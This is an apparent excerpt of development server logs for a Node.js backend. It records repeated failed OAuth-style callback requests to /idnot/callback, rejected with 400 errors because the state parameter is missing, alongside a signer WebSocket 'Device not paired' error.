/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1D_f4df2DrEpQReBt6rjTMR9EdKPBphCFIFhn1_DikpRZWtOqkCYOboswn6tB-6uSgfnAAQmFqXQrOqXiGWYt9UBZzwgMU4sWU0CUozKZTEMbUjWOuKEWo47vzF-xf7tbbvjzBUQ3imxWB_QL8ZqVT-_Ndo2GNXMEzvoYvMmo2axmVqQLCpn7SEbp9Fy3qtP3t-4cYC1D6ouBK96HX1Frz7dQZSs6DSsQIkIyC0IJI1qsEXP_HWvPxodxvW9VKW3LrDcJWegvT_a7Hk-eBDu3Xn4s6q31tMDIBIu0_vHwOpxPyw3FmA0_rpyXWPYDB666i3WzFkwjOoPqiJ8vjvsSD93PKDS9BpcbMjbTRWNau0-gvtQFj2wvJP5X4C61ySsV70rkMFcddj3IDC_KSmmIy78Xvswi4DNn0phYKpz1PbJSRxMLiXKzsOUxzzR12MAjCqwPx8x-IzLvPX-fE9QH9qKuU-9ylaHUhwPQRiRWASsyIhwow8Kh4zQcCUVnOezsYATmamR3qNK8SD6U3qFOjeEsx87dl-eV8FXYH5T9EQ5Y - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 10, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1D_f4df2DrEpQReBt6rjTMR9EdKPBphCFIFhn1_DikpRZWtOqkCYOboswn6tB-6uSgfnAAQmFqXQrOqXiGWYt9UBZzwgMU4sWU0CUozKZTEMbUjWOuKEW'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758610802412_yynntck2i', + response: { + statusCode: 400 + } +} +Server error: Device not paired +Full error response: { + "type": "ERROR", + "error": "Device not paired", + "messageId": "msg_1758610807192_xooajh1s6" +} +❌ [ERROR] 2025-09-23T07:00:07.195Z Signer WebSocket error +──────────────────────────────────────────────────────────────────────────────── +{ + error: 'Device not paired' +} +❌ [ERROR] 2025-09-23T07:00:07.195Z Signer connection error +──────────────────────────────────────────────────────────────────────────────── +{ + error: 'Device not paired' +} +⚠️ [WARN] 2025-09-23T07:00:07.195Z Signer disconnected - reconnecting... +⚠️ [WARN] 2025-09-23T07:00:07.195Z Signer disconnected +⚠️ [WARN] 2025-09-23T07:00:07.196Z Signer health check failed - connection may be stale +──────────────────────────────────────────────────────────────────────────────── +{ + error: 'Server error for GET_PAIRING_ID: Device not paired' +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsL_g4qkSfOOPDgeYjoTVULrWqfmqAW68WRreol27jpK1F9e6pDbx0o9VDKlAHOpo28mLBUWbT0IDXLzJeRLv7tjBk6MFIZm5CHQeL2oX5CMPZNtiHPw59mdvsKss9t1KlqRqZyPqiUen4g4AbnsNJhfwe_91yUznwfQuf3C4o0H6sc-NHgOf62iIZAREFELRERXJ5UbEHiw2CEYoI08cnZd6pQNqK6KGxM7-nR58jzu_bqW-2pSUOgEBwfZYdXfkQfdf2C-DIbfx0fAETbaKIn5Y204pDxq234JmFr9oP2SOgckzvBL0b7Dy4DSD6Gi5M5jSSK-xQA9i2WJ9QDWeVRWnHeEDnS8ENBE80JCKCA5KSXYaZ8YV3Nh5btElf8_jfmlJ79IjiUQAt2wGFts65CSiBMDxEdbl1QowZpd0enzcMTReMVi5hpsewKLmVDqWkOcGZWaXIYK4DG4M8AKyBpWRcappA6QlHB2hUt-VVI-OzzMyknez0VvbTwONgpIpadHYUKOQC3C6mOlYWqGEdEc', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '93.3.5.138', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T07:00:31.857Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsL_g4qkSfOOPDgeYjoTVULrWqfmqAW68WRreol27jpK1F9e6pDbx0o9VDKlAHOpo28mLBUWbT0IDXLzJeRLv7tjBk6MFIZm5CHQeL2oX5CMPZNtiHPw5'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsL_g4qkSfOOPDgeYjoTVULrWqfmqAW68WRreol27jpK1F9e6pDbx0o9VDKlAHOpo28mLBUWbT0IDXLzJeRLv7tjBk6MFIZm'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758610831856_sm2lnovvb' +} +❌ [ERROR] 2025-09-23T07:00:31.859Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsL_g4qkSfOOPDgeYjoTVULrWqfmqAW68WRreol27jpK1F9e6pDbx0o9VDKlAHOpo28mLBUWbT0IDXLzJeRLv7tjBk6MFIZm5CHQeL2oX5CMPZNtiHPw59mdvsKss9t1KlqRqZyPqiUen4g4AbnsNJhfwe_91yUznwfQuf3C4o0H6sc-NHgOf62iIZAREFELRERXJ5UbEHiw2CEYoI08cnZd6pQNqK6KGxM7-nR58jzu_bqW-2pSUOgEBwfZYdXfkQfdf2C-DIbfx0fAETbaKIn5Y204pDxq234JmFr9oP2SOgckzvBL0b7Dy4DSD6Gi5M5jSSK-xQA9i2WJ9QDWeVRWnHeEDnS8ENBE80JCKCA5KSXYaZ8YV3Nh5btElf8_jfmlJ79IjiUQAt2wGFts65CSiBMDxEdbl1QowZpd0enzcMTReMVi5hpsewKLmVDqWkOcGZWaXIYK4DG4M8AKyBpWRcappA6QlHB2hUt-VVI-OzzMyknez0VvbTwONgpIpadHYUKOQC3C6mOlYWqGEdEc - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 3, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsL_g4qkSfOOPDgeYjoTVULrWqfmqAW68WRreol27jpK1F9e6pDbx0o9VDKlAHOpo28mLBUWbT0IDXLzJeRLv7tjBk6MFIZm'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758610831856_sm2lnovvb', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsL_g4qkSfOOPDgeYjoTVULrWqfmqAW68WRreol27jpK1F9e6pDbx0o9VDKlAHOpo28mLBUWbT0IDXLzJeRLv7tjBk6MFIZm5CHQeL2oX5CMPZNtiHPw59mdvsKss9t1KlqRqZyPqiUen4g4AbnsNJhfwe_91yUznwfQuf3C4o0H6sc-NHgOf62iIZAREFELRERXJ5UbEHiw2CEYoI08cnZd6pQNqK6KGxM7-nR58jzu_bqW-2pSUOgEBwfZYdXfkQfdf2C-DIbfx0fAETbaKIn5Y204pDxq234JmFr9oP2SOgckzvBL0b7Dy4DSD6Gi5M5jSSK-xQA9i2WJ9QDWeVRWnHeEDnS8ENBE80JCKCA5KSXYaZ8YV3Nh5btElf8_jfmlJ79IjiUQAt2wGFts65CSiBMDxEdbl1QowZpd0enzcMTReMVi5hpsewKLmVDqWkOcGZWaXIYK4DG4M8AKyBpWRcappA6QlHB2hUt-VVI-OzzMyknez0VvbTwONgpIpadHYUKOQC3C6mOlYWqGEdEc', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '93.3.5.138', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T07:01:06.293Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsL_g4qkSfOOPDgeYjoTVULrWqfmqAW68WRreol27jpK1F9e6pDbx0o9VDKlAHOpo28mLBUWbT0IDXLzJeRLv7tjBk6MFIZm5CHQeL2oX5CMPZNtiHPw5'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsL_g4qkSfOOPDgeYjoTVULrWqfmqAW68WRreol27jpK1F9e6pDbx0o9VDKlAHOpo28mLBUWbT0IDXLzJeRLv7tjBk6MFIZm'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758610866292_w90bmpvi3' +} +❌ [ERROR] 2025-09-23T07:01:06.295Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsL_g4qkSfOOPDgeYjoTVULrWqfmqAW68WRreol27jpK1F9e6pDbx0o9VDKlAHOpo28mLBUWbT0IDXLzJeRLv7tjBk6MFIZm5CHQeL2oX5CMPZNtiHPw59mdvsKss9t1KlqRqZyPqiUen4g4AbnsNJhfwe_91yUznwfQuf3C4o0H6sc-NHgOf62iIZAREFELRERXJ5UbEHiw2CEYoI08cnZd6pQNqK6KGxM7-nR58jzu_bqW-2pSUOgEBwfZYdXfkQfdf2C-DIbfx0fAETbaKIn5Y204pDxq234JmFr9oP2SOgckzvBL0b7Dy4DSD6Gi5M5jSSK-xQA9i2WJ9QDWeVRWnHeEDnS8ENBE80JCKCA5KSXYaZ8YV3Nh5btElf8_jfmlJ79IjiUQAt2wGFts65CSiBMDxEdbl1QowZpd0enzcMTReMVi5hpsewKLmVDqWkOcGZWaXIYK4DG4M8AKyBpWRcappA6QlHB2hUt-VVI-OzzMyknez0VvbTwONgpIpadHYUKOQC3C6mOlYWqGEdEc - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsL_g4qkSfOOPDgeYjoTVULrWqfmqAW68WRreol27jpK1F9e6pDbx0o9VDKlAHOpo28mLBUWbT0IDXLzJeRLv7tjBk6MFIZm'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758610866292_w90bmpvi3', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '93.3.5.138', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T07:01:18.335Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758610878334_jq1o0s6v4' +} +❌ [ERROR] 2025-09-23T07:01:18.336Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758610878334_jq1o0s6v4', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '93.3.5.138', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T07:02:04.633Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758610924632_u6m9vcjhw' +} +❌ [ERROR] 2025-09-23T07:02:04.635Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758610924632_u6m9vcjhw', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu1bBV34FW5N7lZSPcKe9fZF7x4jnxJxyBCPVV2FNlKZOQEqLKRO6T1bM8umhkD6_sfPPwNlq08D5YT9uEvcZR_D85XHh5M__L7QB_8U4LFovxvIOygzEYw-OCdAywYAqQvoClZXC2_jBmkCXMGYx7v6J1pqmzZR3zqvD2mdYTkEUgvh9wzYEC8KFGf_G7_BHYP_EkapudbSqNoP0-JwdedB1bTby56IteGvI7_rj9dlnaBbEVhGQMSx-7maDic2eY-0aFhpLlnslqxNJGXTbPEqL9YH5OB0mBRmC4bAHRzXUmdVubs5Gy_XNfN7TEmmLCi9j3FEw-SZgGRY7cnyJrJv9Wvq6YyQfcPmXj4pbG24b179yIe1IAcf1celJx8dX1d5zpamYMRfQ2tNh8HCPIKqwa9gt5M54ick1P7NOZiC7qnozoejgpjHe5ub-HAoEfQcR-awlswmsDszPR5ohx7Y7EnXuSgPxDjflwyvMFl9OXSGwukLzxMnYlEYnmZ2p-ZKDBuSGzVF0mR7Icc6PSGdJ5XO4usVEhYXDZPTX48RMDqtWE86gzHL6La2fnWcwBw', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '86.253.219.131', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T07:06:58.044Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu1bBV34FW5N7lZSPcKe9fZF7x4jnxJxyBCPVV2FNlKZOQEqLKRO6T1bM8umhkD6_sfPPwNlq08D5YT9uEvcZR_D85XHh5M__L7QB_8U4LFovxvIOygzEYw-OCdAywYAqQvoClZXC2_jBmkCXMGYx7v6J1pqmzZR'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu1bBV34FW5N7lZSPcKe9fZF7x4jnxJxyBCPVV2FNlKZOQEqLKRO6T1bM8umhkD6_sfPPwNlq08D5YT9uEvcZR_D85XHh5M__L7QB_8U4LFovxvIOygzEYw-OCdAywYAqQvoClZXC2_'... 440 more characters, + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Safari/605.1.15' + }, + requestId: 'req_1758611218043_bh36ptj0m' +} +❌ [ERROR] 2025-09-23T07:06:58.045Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu1bBV34FW5N7lZSPcKe9fZF7x4jnxJxyBCPVV2FNlKZOQEqLKRO6T1bM8umhkD6_sfPPwNlq08D5YT9uEvcZR_D85XHh5M__L7QB_8U4LFovxvIOygzEYw-OCdAywYAqQvoClZXC2_jBmkCXMGYx7v6J1pqmzZR3zqvD2mdYTkEUgvh9wzYEC8KFGf_G7_BHYP_EkapudbSqNoP0-JwdedB1bTby56IteGvI7_rj9dlnaBbEVhGQMSx-7maDic2eY-0aFhpLlnslqxNJGXTbPEqL9YH5OB0mBRmC4bAHRzXUmdVubs5Gy_XNfN7TEmmLCi9j3FEw-SZgGRY7cnyJrJv9Wvq6YyQfcPmXj4pbG24b179yIe1IAcf1celJx8dX1d5zpamYMRfQ2tNh8HCPIKqwa9gt5M54ick1P7NOZiC7qnozoejgpjHe5ub-HAoEfQcR-awlswmsDszPR5ohx7Y7EnXuSgPxDjflwyvMFl9OXSGwukLzxMnYlEYnmZ2p-ZKDBuSGzVF0mR7Icc6PSGdJ5XO4usVEhYXDZPTX48RMDqtWE86gzHL6La2fnWcwBw - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu1bBV34FW5N7lZSPcKe9fZF7x4jnxJxyBCPVV2FNlKZOQEqLKRO6T1bM8umhkD6_sfPPwNlq08D5YT9uEvcZR_D85XHh5M__L7QB_8U4LFovxvIOygzEYw-OCdAywYAqQvoClZXC2_'... 440 more characters, + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Safari/605.1.15' + }, + requestId: 'req_1758611218043_bh36ptj0m', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '93.3.5.138', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T07:09:12.618Z Application error occurred 